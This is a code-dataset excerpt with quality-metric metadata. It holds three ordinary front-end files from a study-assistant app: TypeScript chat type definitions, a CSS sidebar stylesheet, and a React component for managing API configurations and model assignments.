{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
000haoji/deep-student
|
src/chat-core/types/chat.ts
|
/**
* Chat Core Type Definitions
*
* 聊天核心模块的类型定义
*/
// RAG知识库来源信息
export interface RagSourceInfo {
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}
// 多模态内容块类型
export type ChatMessageContentPart =
| { type: 'text'; text: string }
| { type: 'image_url'; image_url: { url: string; detail?: 'low' | 'high' | 'auto' } };
// 追问时上传的图片文件基本信息
export interface UploadedImageInfo {
id: string; // 临时客户端ID
name: string;
type?: string; // MIME type
size?: number; // 文件大小
base64_data: string; // 图片的Base64编码
file?: File; // 原始File对象，可选
}
// 基础聊天消息类型
export interface ChatMessage {
id?: string; // 消息的唯一ID，前端生成或后端返回
role: 'user' | 'assistant' | 'system';
content: string | ChatMessageContentPart[]; // 支持旧的字符串格式和新的多模态数组格式
timestamp: string;
thinking_content?: string;
rag_sources?: RagSourceInfo[];
}
// 流式消息类型
export interface StreamMessage extends ChatMessage {
isStreaming?: boolean;
streamId?: string;
}
// 流式数据块类型
export interface StreamChunk {
content: string;
is_complete: boolean;
chunk_id?: string;
timestamp?: string;
}
// 流式选项类型
export interface StreamOptions {
enableChainOfThought?: boolean;
enableRag?: boolean;
ragOptions?: {
top_k: number;
enable_reranking?: boolean;
};
autoScroll?: boolean;
showTypingIndicator?: boolean;
}
// 聊天界面配置
export interface ChatInterfaceConfig {
enableFullscreen?: boolean;
enableImageUpload?: boolean;
maxImages?: number;
showThinking?: boolean;
showRagSources?: boolean;
showTimestamp?: boolean;
enableKeyboardShortcuts?: boolean;
}
// 思维链相关类型
export interface ThinkingChainOptions {
enabled: boolean;
expandedByDefault?: boolean;
showIcon?: boolean;
customIcon?: string;
}
// 消息渲染选项
export interface MessageRenderOptions {
showCursor?: boolean;
enableLatex?: boolean;
enableCodeHighlight?: boolean;
enableTableRender?: boolean;
}
| 1,929
|
chat
|
ts
|
zh
|
typescript
|
code
|
{"qsc_code_num_words": 237, "qsc_code_num_chars": 1929.0, "qsc_code_mean_word_length": 5.72151899, "qsc_code_frac_words_unique": 0.53586498, "qsc_code_frac_chars_top_2grams": 0.09955752, "qsc_code_frac_chars_top_3grams": 0.06268437, "qsc_code_frac_chars_top_4grams": 0.0280236, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00250313, "qsc_code_frac_chars_whitespace": 0.1715915, "qsc_code_size_file_byte": 1929.0, "qsc_code_num_lines": 92.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 20.9673913, "qsc_code_frac_chars_alphabet": 0.84605757, "qsc_code_frac_chars_comments": 0.13634007, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02579484, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/styles/modern-sidebar.css
|
/* Modern Sidebar Styles */
/* 导入现代字体 */
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');
/* CSS 变量定义 */
:root {
--sidebar-bg: #ffffff;
--sidebar-border: rgba(226, 232, 240, 0.8);
--sidebar-shadow: 0 0 30px rgba(0, 0, 0, 0.08), 0 0 60px rgba(59, 130, 246, 0.03);
--nav-item-hover: rgba(59, 130, 246, 0.08);
--nav-item-active: rgba(59, 130, 246, 0.12);
--nav-text-color: #000000;
--nav-text-hover: #000000;
--nav-text-active: #000000;
--nav-icon-size: 20px;
--transition-speed: 0.25s;
--font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
--glow-color: rgba(59, 130, 246, 0.4);
}
/* 覆盖全局字体 */
.app-sidebar * {
font-family: var(--font-family) !important;
}
/* 美化侧边栏主体 */
.app-sidebar {
background: #ffffff !important;
background-color: #ffffff !important;
background-image: none !important;
backdrop-filter: blur(20px) saturate(180%);
-webkit-backdrop-filter: blur(20px) saturate(180%);
border-right: 1px solid var(--sidebar-border) !important;
box-shadow: var(--sidebar-shadow) !important;
transition: all var(--transition-speed) cubic-bezier(0.4, 0, 0.2, 1) !important;
position: relative;
overflow: hidden;
}
/* 移除动态背景纹理以确保纯白色背景 */
.app-sidebar::before {
display: none !important;
}
@keyframes backgroundShift {
0%, 100% { opacity: 1; }
50% { opacity: 0.7; }
}
.app-sidebar > * {
position: relative;
z-index: 1;
}
/* Logo 区域美化 */
.sidebar-header {
padding: 1.25rem !important;
border-bottom: 1px solid var(--sidebar-border) !important;
background: rgba(255, 255, 255, 1.0) !important;
backdrop-filter: blur(10px);
position: relative;
overflow: hidden;
}
.sidebar-header::after {
content: '';
position: absolute;
top: 50%;
left: 50%;
width: 120px;
height: 120px;
background: radial-gradient(circle, var(--glow-color) 0%, transparent 70%);
transform: translate(-50%, -50%) scale(0);
transition: transform 0.4s cubic-bezier(0.4, 0, 0.2, 1);
pointer-events: none;
}
.sidebar-header:hover::after {
transform: translate(-50%, -50%) scale(1.5);
}
.app-logo {
transition: all var(--transition-speed) ease;
position: relative;
z-index: 2;
}
.logo-icon,
.logo-full {
filter: drop-shadow(0 4px 8px rgba(0, 0, 0, 0.1));
transition: all var(--transition-speed) cubic-bezier(0.4, 0, 0.2, 1);
}
.logo-icon:hover,
.logo-full:hover {
transform: scale(1.08) rotate(1deg);
filter: drop-shadow(0 6px 12px rgba(59, 130, 246, 0.2));
}
/* 导航区域 */
.sidebar-nav {
padding: 0.75rem !important;
position: relative;
}
/* 导航分组标签 */
.nav-label {
font-size: 0.75rem !important;
font-weight: 700 !important;
color: #000000 !important;
text-transform: uppercase !important;
letter-spacing: 0.08em !important;
margin: 1.5rem 0.75rem 0.75rem !important;
opacity: 0.8;
transition: all var(--transition-speed) ease;
position: relative;
}
.nav-label::after {
content: '';
position: absolute;
bottom: -0.25rem;
left: 0;
width: 0;
height: 2px;
background: linear-gradient(90deg, #3b82f6, #8b5cf6);
transition: width 0.3s ease;
}
.app-sidebar:hover .nav-label {
opacity: 1;
color: #000000 !important;
}
.app-sidebar:hover .nav-label::after {
width: 100%;
}
/* 导航项美化 */
.nav-item {
position: relative !important;
margin: 0.375rem 0 !important;
padding: 0.75rem 1rem !important;
border-radius: 12px !important;
background: transparent !important;
color: var(--nav-text-color) !important;
font-size: 0.875rem !important;
font-weight: 500 !important;
transition: all var(--transition-speed) cubic-bezier(0.4, 0, 0.2, 1) !important;
overflow: hidden !important;
border: 1px solid transparent !important;
cursor: pointer;
}
/* 导航项悬停效果 */
.nav-item:hover {
background: var(--nav-item-hover) !important;
color: #000000 !important;
transform: translateX(4px) scale(1.02);
border-color: rgba(59, 130, 246, 0.15) !important;
box-shadow: 0 4px 12px rgba(59, 130, 246, 0.1);
}
.nav-item:hover::before {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(135deg, rgba(255, 255, 255, 0.1) 0%, transparent 100%);
pointer-events: none;
}
/* 导航项激活状态 */
.nav-item.active {
background: var(--nav-item-active) !important;
color: var(--nav-text-active) !important;
font-weight: 600 !important;
border-color: rgba(59, 130, 246, 0.25) !important;
box-shadow:
0 4px 16px rgba(59, 130, 246, 0.2),
0 0 0 1px rgba(59, 130, 246, 0.1),
inset 0 1px 0 rgba(255, 255, 255, 0.2);
transform: translateX(2px);
}
/* 激活指示效果 */
.nav-item.active::after {
content: '';
position: absolute;
left: 0;
top: 0;
bottom: 0;
width: 4px;
background: linear-gradient(180deg, #3b82f6 0%, #8b5cf6 100%);
border-radius: 0 4px 4px 0;
animation: slideInGlow 0.4s cubic-bezier(0.4, 0, 0.2, 1);
box-shadow: 0 0 8px rgba(59, 130, 246, 0.5);
}
@keyframes slideInGlow {
from {
transform: translateX(-100%);
opacity: 0;
box-shadow: 0 0 0 rgba(59, 130, 246, 0);
}
to {
transform: translateX(0);
opacity: 1;
box-shadow: 0 0 8px rgba(59, 130, 246, 0.5);
}
}
/* 图标样式 */
.nav-icon {
width: var(--nav-icon-size) !important;
height: var(--nav-icon-size) !important;
display: flex !important;
align-items: center !important;
justify-content: center !important;
margin-right: 0.875rem !important;
transition: all var(--transition-speed) cubic-bezier(0.4, 0, 0.2, 1) !important;
position: relative;
}
/* 图标悬停效果 */
.nav-item:hover .nav-icon {
transform: scale(1.15) rotate(5deg);
}
.nav-item.active .nav-icon {
color: var(--nav-text-active) !important;
transform: scale(1.1);
}
/* 图标发光效果 */
.nav-item.active .nav-icon::before {
content: '';
position: absolute;
inset: -4px;
background: radial-gradient(circle, var(--glow-color) 0%, transparent 70%);
border-radius: 50%;
animation: iconGlow 2s ease-in-out infinite;
z-index: -1;
}
@keyframes iconGlow {
0%, 100% { opacity: 0.3; transform: scale(1); }
50% { opacity: 0.6; transform: scale(1.2); }
}
/* 文字样式 */
.nav-text {
font-weight: 500 !important;
letter-spacing: 0.01em !important;
transition: all var(--transition-speed) ease !important;
}
/* 侧边栏折叠时的样式 */
.app-sidebar.collapsed .nav-label {
opacity: 0 !important;
height: 0 !important;
margin: 0 !important;
overflow: hidden !important;
}
.app-sidebar.collapsed .nav-item {
padding: 0.875rem !important;
justify-content: center !important;
margin: 0.25rem 0.5rem !important;
}
.app-sidebar.collapsed .nav-icon {
margin-right: 0 !important;
}
/* 侧边栏底部 */
.sidebar-footer {
padding: 0.75rem !important;
border-top: 1px solid var(--sidebar-border) !important;
background: #ffffff !important;
backdrop-filter: blur(10px);
margin-top: auto;
}
.sidebar-footer .nav-item {
background: transparent !important;
background-color: transparent !important;
background-image: none !important;
border: none !important;
color: #000000 !important;
border-radius: 12px !important;
margin: 0.375rem 0 !important;
padding: 0.75rem 1rem !important;
transition: all var(--transition-speed) cubic-bezier(0.4, 0, 0.2, 1) !important;
position: relative !important;
overflow: hidden !important;
border: 1px solid transparent !important;
cursor: pointer;
font-size: 0.875rem !important;
font-weight: 500 !important;
text-align: left;
}
.sidebar-footer .nav-item:hover {
background: var(--nav-item-hover) !important;
color: #000000 !important;
transform: translateX(4px) scale(1.02);
border-color: rgba(59, 130, 246, 0.15) !important;
box-shadow: 0 4px 12px rgba(59, 130, 246, 0.1);
}
.sidebar-footer .nav-item:hover::before {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(135deg, rgba(255, 255, 255, 0.1) 0%, transparent 100%);
pointer-events: none;
}
.sidebar-footer .nav-item.active {
background: var(--nav-item-active) !important;
color: var(--nav-text-active) !important;
font-weight: 600 !important;
border-color: rgba(59, 130, 246, 0.25) !important;
box-shadow:
0 4px 16px rgba(59, 130, 246, 0.2),
0 0 0 1px rgba(59, 130, 246, 0.1),
inset 0 1px 0 rgba(255, 255, 255, 0.2);
transform: translateX(2px);
}
.sidebar-footer .nav-item.active::after {
content: '';
position: absolute;
left: 0;
top: 0;
bottom: 0;
width: 4px;
background: linear-gradient(180deg, #3b82f6 0%, #8b5cf6 100%);
border-radius: 0 4px 4px 0;
animation: slideInGlow 0.4s cubic-bezier(0.4, 0, 0.2, 1);
box-shadow: 0 0 8px rgba(59, 130, 246, 0.5);
}
.sidebar-footer .nav-item:hover .nav-icon {
transform: scale(1.15) rotate(5deg);
}
.sidebar-footer .nav-item.active .nav-icon {
color: var(--nav-text-active) !important;
transform: scale(1.1);
}
.sidebar-footer .nav-item.active .nav-icon::before {
content: '';
position: absolute;
inset: -4px;
background: radial-gradient(circle, var(--glow-color) 0%, transparent 70%);
border-radius: 50%;
animation: iconGlow 2s ease-in-out infinite;
z-index: -1;
}
.sidebar-footer .nav-item:active {
transform: translateX(2px) scale(0.98) !important;
}
/* 滚动条美化 */
.sidebar-nav::-webkit-scrollbar {
width: 8px !important;
}
.sidebar-nav::-webkit-scrollbar-track {
background: rgba(0, 0, 0, 0.02) !important;
border-radius: 4px;
}
.sidebar-nav::-webkit-scrollbar-thumb {
background: linear-gradient(180deg, rgba(59, 130, 246, 0.3) 0%, rgba(147, 51, 234, 0.3) 100%) !important;
border-radius: 4px !important;
transition: all var(--transition-speed) ease !important;
}
.sidebar-nav::-webkit-scrollbar-thumb:hover {
background: linear-gradient(180deg, rgba(59, 130, 246, 0.5) 0%, rgba(147, 51, 234, 0.5) 100%) !important;
transform: scaleX(1.2);
}
/* 工具提示美化 */
.app-sidebar.collapsed .tooltip-test[data-tooltip]:not([data-tooltip=""]):hover::before {
content: attr(data-tooltip);
position: absolute;
left: calc(100% + 12px);
top: 50%;
transform: translateY(-50%);
background: rgba(30, 41, 59, 0.95) !important;
backdrop-filter: blur(12px);
border: 1px solid rgba(255, 255, 255, 0.1);
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.2);
font-family: var(--font-family) !important;
font-weight: 500 !important;
font-size: 0.8125rem;
padding: 0.625rem 0.875rem !important;
border-radius: 10px !important;
color: white;
white-space: nowrap;
z-index: 1000;
animation: tooltipSlideIn 0.2s cubic-bezier(0.4, 0, 0.2, 1);
}
.app-sidebar.collapsed .tooltip-test[data-tooltip]:not([data-tooltip=""]):hover::after {
content: '';
position: absolute;
left: calc(100% + 6px);
top: 50%;
transform: translateY(-50%);
width: 0;
height: 0;
border: 6px solid transparent;
border-right-color: rgba(30, 41, 59, 0.95) !important;
z-index: 1001;
}
@keyframes tooltipSlideIn {
from {
opacity: 0;
transform: translateY(-50%) translateX(-8px);
}
to {
opacity: 1;
transform: translateY(-50%) translateX(0);
}
}
/* 添加平滑的展开/折叠动画 */
.app-sidebar {
transition: width 0.4s cubic-bezier(0.4, 0, 0.2, 1) !important;
}
.app-sidebar .nav-text,
.app-sidebar .nav-label {
transition: opacity 0.3s ease, transform 0.3s ease !important;
}
.app-sidebar.collapsed .nav-text {
opacity: 0 !important;
transform: translateX(-12px) !important;
}
/* 响应式优化 */
@media (max-width: 768px) {
.nav-item {
padding: 0.625rem 0.75rem !important;
font-size: 0.8125rem !important;
}
.nav-icon {
width: 18px !important;
height: 18px !important;
}
.sidebar-header {
padding: 1rem !important;
}
}
/* 暗色模式支持 */
@media (prefers-color-scheme: dark) {
:root {
--sidebar-bg: rgba(15, 23, 42, 0.95);
--sidebar-border: rgba(71, 85, 105, 0.5);
--nav-item-hover: linear-gradient(135deg, rgba(59, 130, 246, 0.15) 0%, rgba(147, 51, 234, 0.12) 100%);
--nav-item-active: linear-gradient(135deg, rgba(59, 130, 246, 0.25) 0%, rgba(147, 51, 234, 0.2) 100%);
--nav-text-color: #cbd5e1;
--nav-text-hover: #f1f5f9;
--nav-text-active: #60a5fa;
--glow-color: rgba(96, 165, 250, 0.4);
}
.sidebar-header {
background: rgba(15, 23, 42, 0.5) !important;
}
.sidebar-footer {
background: rgba(15, 23, 42, 0.3) !important;
}
.sidebar-footer .nav-item {
background: rgba(30, 41, 59, 0.5) !important;
}
}
/* 微交互增强 */
.nav-item {
will-change: transform, background, box-shadow;
}
.nav-item:active {
transform: translateX(2px) scale(0.98) !important;
}
/* 分组分隔线美化 */
.nav-section:not(:first-child) {
position: relative;
margin-top: 2rem;
}
.nav-section:not(:first-child)::before {
content: '';
position: absolute;
top: -1rem;
left: 1rem;
right: 1rem;
height: 1px;
background: linear-gradient(90deg,
transparent 0%,
rgba(59, 130, 246, 0.2) 20%,
rgba(147, 51, 234, 0.2) 80%,
transparent 100%
);
}
/* 整体性能优化 */
.app-sidebar,
.app-sidebar *,
.app-sidebar *::before,
.app-sidebar *::after {
transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1) !important;
}
/* 添加微妙的内阴影和边框光效 */
.app-sidebar {
box-shadow:
var(--sidebar-shadow),
inset -1px 0 0 0 rgba(59, 130, 246, 0.08),
inset 0 1px 0 0 rgba(255, 255, 255, 0.1) !important;
}
| 13,210
|
modern-sidebar
|
css
|
zh
|
css
|
data
|
{"qsc_code_num_words": 1920, "qsc_code_num_chars": 13210.0, "qsc_code_mean_word_length": 4.4984375, "qsc_code_frac_words_unique": 0.15520833, "qsc_code_frac_chars_top_2grams": 0.00856779, "qsc_code_frac_chars_top_3grams": 0.02605071, "qsc_code_frac_chars_top_4grams": 0.03473428, "qsc_code_frac_chars_dupe_5grams": 0.59881903, "qsc_code_frac_chars_dupe_6grams": 0.48164872, "qsc_code_frac_chars_dupe_7grams": 0.42236888, "qsc_code_frac_chars_dupe_8grams": 0.40430705, "qsc_code_frac_chars_dupe_9grams": 0.36690981, "qsc_code_frac_chars_dupe_10grams": 0.34329049, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.10369965, "qsc_code_frac_chars_whitespace": 0.16926571, "qsc_code_size_file_byte": 13210.0, "qsc_code_num_lines": 537.0, "qsc_code_num_chars_line_max": 108.0, "qsc_code_num_chars_line_mean": 24.59962756, "qsc_code_frac_chars_alphabet": 0.68334245, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.39278132, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00212314, "qsc_code_frac_chars_string_length": 0.00703959, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
|
000haoji/deep-student
|
src/components/settings/ApiConfigSection.tsx
|
/**
* API Configuration Section Component
* Split from the large Settings component
*/
import React, { useState } from 'react';
import { useApiConfig, ApiConfig } from '../../hooks/useApiConfig';
import { useNotification } from '../../hooks/useNotification';
import { ApiConfigModal } from './ApiConfigModal';
export const ApiConfigSection: React.FC = () => {
const {
apiConfigs,
modelAssignments,
loading,
saving,
testingApi,
saveApiConfigs,
saveModelAssignments,
testApiConnection,
addApiConfig,
updateApiConfig,
deleteApiConfig,
getMultimodalConfigs,
getEnabledConfigs,
validateModelAssignments
} = useApiConfig();
const { showSuccess, showError, showWarning } = useNotification();
const [editingApi, setEditingApi] = useState<ApiConfig | null>(null);
const [showModal, setShowModal] = useState(false);
// 保存配置
const handleSaveConfigs = async () => {
const success = await saveApiConfigs(apiConfigs);
if (success) {
showSuccess('API配置保存成功');
} else {
showError('API配置保存失败');
}
};
// 保存模型分配
const handleSaveModelAssignments = async () => {
const errors = validateModelAssignments();
if (errors.length > 0) {
showWarning(`模型分配验证失败: ${errors.join(', ')}`);
return;
}
const success = await saveModelAssignments(modelAssignments);
if (success) {
showSuccess('模型分配保存成功');
} else {
showError('模型分配保存失败');
}
};
// 测试API连接
const handleTestApi = async (config: ApiConfig) => {
const success = await testApiConnection(config);
if (success) {
showSuccess(`${config.name} 连接测试成功`);
} else {
showError(`${config.name} 连接测试失败`);
}
};
// 添加新API配置
const handleAddApi = () => {
setEditingApi(null);
setShowModal(true);
};
// 编辑API配置
const handleEditApi = (config: ApiConfig) => {
setEditingApi(config);
setShowModal(true);
};
// 保存API配置（从模态框）
const handleSaveApi = async (apiData: Omit<ApiConfig, 'id'>) => {
if (editingApi) {
updateApiConfig(editingApi.id, apiData);
showSuccess('API配置已更新');
} else {
addApiConfig(apiData);
showSuccess('API配置已添加');
}
setShowModal(false);
setEditingApi(null);
};
// 删除API配置
const handleDeleteApi = async (config: ApiConfig) => {
if (window.confirm(`确定要删除 ${config.name} 配置吗？`)) {
deleteApiConfig(config.id);
showSuccess('API配置已删除');
}
};
if (loading) {
return <div className="loading">加载API配置中...</div>;
}
const multimodalConfigs = getMultimodalConfigs();
const enabledConfigs = getEnabledConfigs();
return (
<div className="api-config-section">
<div className="section-header">
<h3>API配置管理</h3>
<button
onClick={handleAddApi}
className="add-api-button"
disabled={saving}
>
+ 添加API配置
</button>
</div>
{/* API配置列表 */}
<div className="api-configs-list">
{apiConfigs.length === 0 ? (
<div className="empty-state">
<p>暂无API配置，请添加至少一个配置</p>
</div>
) : (
apiConfigs.map(config => (
<div key={config.id} className={`api-config-item ${!config.enabled ? 'disabled' : ''}`}>
<div className="config-info">
<div className="config-header">
<h4>{config.name}</h4>
<div className="config-badges">
{config.isMultimodal && <span className="badge multimodal">多模态</span>}
{config.isReasoning && <span className="badge reasoning">推理模型</span>}
{!config.enabled && <span className="badge disabled">已禁用</span>}
</div>
</div>
<div className="config-details">
<p><strong>模型:</strong> {config.model}</p>
<p><strong>适配器:</strong> {config.modelAdapter}</p>
<p><strong>API地址:</strong> {config.baseUrl}</p>
</div>
</div>
<div className="config-actions">
<button
onClick={() => handleTestApi(config)}
disabled={testingApi === config.id || !config.enabled}
className="test-button"
>
{testingApi === config.id ? '测试中...' : '测试连接'}
</button>
<button
onClick={() => handleEditApi(config)}
className="edit-button"
>
编辑
</button>
<button
onClick={() => handleDeleteApi(config)}
className="delete-button"
disabled={saving}
>
删除
</button>
</div>
</div>
))
)}
</div>
{/* 模型分配 */}
<div className="model-assignments">
<h4>模型分配</h4>
<div className="assignment-grid">
<div className="assignment-item">
<label>第一模型（OCR+分类）:</label>
<select
value={modelAssignments.model1_config_id || ''}
onChange={(e) => saveModelAssignments({
...modelAssignments,
model1_config_id: e.target.value || null
})}
disabled={saving}
>
<option value="">请选择...</option>
{multimodalConfigs.map(config => (
<option key={config.id} value={config.id}>
{config.name} - {config.model}
</option>
))}
</select>
<p className="help-text">必须是多模态模型，用于图片识别和分类</p>
</div>
<div className="assignment-item">
<label>第二模型（对话分析）:</label>
<select
value={modelAssignments.model2_config_id || ''}
onChange={(e) => saveModelAssignments({
...modelAssignments,
model2_config_id: e.target.value || null
})}
disabled={saving}
>
<option value="">请选择...</option>
{enabledConfigs.map(config => (
<option key={config.id} value={config.id}>
{config.name} - {config.model}
{config.isReasoning && ' (推理模型)'}
</option>
))}
</select>
<p className="help-text">用于AI对话和深度分析，推理模型效果更好</p>
</div>
<div className="assignment-item">
<label>回顾分析模型（多题统一分析）:</label>
<select
value={modelAssignments.review_analysis_model_config_id || ''}
onChange={(e) => saveModelAssignments({
...modelAssignments,
review_analysis_model_config_id: e.target.value || null
})}
disabled={saving}
>
<option value="">请选择...</option>
{enabledConfigs.map(config => (
<option key={config.id} value={config.id}>
{config.name} - {config.model}
{config.isReasoning && ' (推理模型)'}
</option>
))}
</select>
<p className="help-text">用于回顾分析功能，对多个错题进行统一深度分析，建议使用强大的推理模型</p>
</div>
<div className="assignment-item">
<label>ANKI制卡模型（卡片生成）:</label>
<select
value={modelAssignments.anki_card_model_config_id || ''}
onChange={(e) => saveModelAssignments({
...modelAssignments,
anki_card_model_config_id: e.target.value || null
})}
disabled={saving}
>
<option value="">请选择...</option>
{enabledConfigs.map(config => (
<option key={config.id} value={config.id}>
{config.name} - {config.model}
{config.isReasoning && ' (推理模型)'}
</option>
))}
</select>
<p className="help-text">用于ANKI卡片生成功能，根据学习内容智能生成问答卡片</p>
</div>
<div className="assignment-item">
<label>总结生成模型（错题总结）:</label>
<select
value={modelAssignments.summary_model_config_id || ''}
onChange={(e) => saveModelAssignments({
...modelAssignments,
summary_model_config_id: e.target.value || null
})}
disabled={saving}
>
<option value="">请选择（默认使用对话分析模型）...</option>
{enabledConfigs.map(config => (
<option key={config.id} value={config.id}>
{config.name} - {config.model}
{config.isReasoning && ' (推理模型)'}
</option>
))}
</select>
<p className="help-text">专门用于生成错题总结，建议使用理解和概括能力强的模型。如果未选择，将使用“第二模型（对话分析）”。</p>
</div>
</div>
</div>
{/* 保存按钮 */}
<div className="section-actions">
<button
onClick={handleSaveConfigs}
disabled={saving}
className="save-button primary"
>
{saving ? '保存中...' : '保存API配置'}
</button>
<button
onClick={handleSaveModelAssignments}
disabled={saving}
className="save-button secondary"
>
{saving ? '保存中...' : '保存模型分配'}
</button>
</div>
{/* API配置模态框 */}
{showModal && (
<ApiConfigModal
config={editingApi}
onSave={handleSaveApi}
onCancel={() => {
setShowModal(false);
setEditingApi(null);
}}
/>
)}
</div>
);
};
| 9,847
|
ApiConfigSection
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 743, "qsc_code_num_chars": 9847.0, "qsc_code_mean_word_length": 6.57604307, "qsc_code_frac_words_unique": 0.26379542, "qsc_code_frac_chars_top_2grams": 0.03929595, "qsc_code_frac_chars_top_3grams": 0.01350798, "qsc_code_frac_chars_top_4grams": 0.02660663, "qsc_code_frac_chars_dupe_5grams": 0.32050757, "qsc_code_frac_chars_dupe_6grams": 0.28469095, "qsc_code_frac_chars_dupe_7grams": 0.24130168, "qsc_code_frac_chars_dupe_8grams": 0.17703643, "qsc_code_frac_chars_dupe_9grams": 0.17703643, "qsc_code_frac_chars_dupe_10grams": 0.17703643, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00190114, "qsc_code_frac_chars_whitespace": 0.35899259, "qsc_code_size_file_byte": 9847.0, "qsc_code_num_lines": 318.0, "qsc_code_num_chars_line_max": 101.0, "qsc_code_num_chars_line_mean": 30.96540881, "qsc_code_frac_chars_alphabet": 0.77217997, "qsc_code_frac_chars_comments": 0.02122474, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.45907473, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06609255, "qsc_code_frac_chars_long_word_length": 0.00529155, 